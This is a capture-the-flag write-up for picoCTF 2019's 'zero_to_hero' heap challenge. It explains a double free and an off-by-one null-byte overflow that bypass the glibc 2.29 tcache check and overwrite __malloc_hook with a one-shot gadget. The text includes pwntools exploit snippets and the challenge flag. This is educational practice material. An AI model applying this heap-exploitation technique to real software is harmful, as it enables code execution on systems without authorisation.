PWN – zero_to_hero

zero_to_hero - 500 points

Challenge

Now you're really cooking. Can you pwn this service?. Connect with nc 2019shell1.picoctf.com 49928. libc.so.6 ld-2.29.so

Hints

Make sure to both files are in the same directory as the executable, and set LD_PRELOAD to the path of libc.so.6

Solution

We are given the nc of a remote server, the binary it's running and the libraries it's loaded with.

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    RUNPATH:  './'

The binary immediately gives you the libc location of system().
There are two important vulnerabilities in the binary:

  • The chunk pointers are not nulled when freed, which allows us to trigger a double free.
  • There is an off by 1 error in copying the chunk content, which enables us to create a null byte poisoning.

The libc version and binary constraints put two major obstacles in our way:

  • We can only allocate a maximum of 7 blocks.
  • libc 2.29 has a tcache security check that will not allow us to free an element already in the list.

This means we can't just fill the tcache and double free. But there is an important detail to point out here: the tcache check only works on the bin corresponding to the freed chunk's bin size.
Here's where our null byte poisoning comes in: we'll modify the freed chunk's size field between the first and second free.
This will also have the side effect of putting the same chunk twice in our bins as a whole. We'll use this later.

dummy_len = 0x38
# malloc any (different from block #1)
alloc(dummy_len, "We don't overflow here")
# malloc 0x108 (0x110 chunk)
alloc(0x108, "irrelevant") # Allocate 0x110 chunk. size= 0x111
# free 0
free(0)
# free 1 <- into different tcache from 0
free(1)
# malloc <same as 0> <- take 0 from tcache
alloc(dummy_len, cyclic(0x38))
# overflow null byte!
# free 1 <- INTO DIFFERENT TCACHE FROM ITSELF(0x100)
free(1)

Our next objective is to exploit this double free to hijack execution.
What I decided to do was overwrite _malloc_hook with a one-shot gadget.
We'll inject a new block with a technique very similar to fastbin duplication thanks to our twins in bins 0x110 and 0x100.
Not only that, but it doesn't even follow the fastbin security checks: we can just drop the chunk right on top of the hook with no repercussions on perceived "size".

target_loc = lc.sym.__malloc_hook

# malloc 0x108
alloc(0x108, p64(target_loc))
# malloc 0xf8 (UAF). tcache duplication. inserted into bin 0xf8!
alloc(0xf8, p64(0))

Then we'll request the new block (currently in the 0x100 bin) right before _malloc_hook and just write in it.

gadget = lc.address + 0x106ef8

alloc(0xf8, p64(gadget))

The next time we ask to allocate, our gadget will execute.

flag: picoCTF{i_th0ught_2.29_f1x3d_d0ubl3_fr33?_jmvqjcus}

Lascia un commento

Il tuo indirizzo email non sarà pubblicato. I campi obbligatori sono contrassegnati *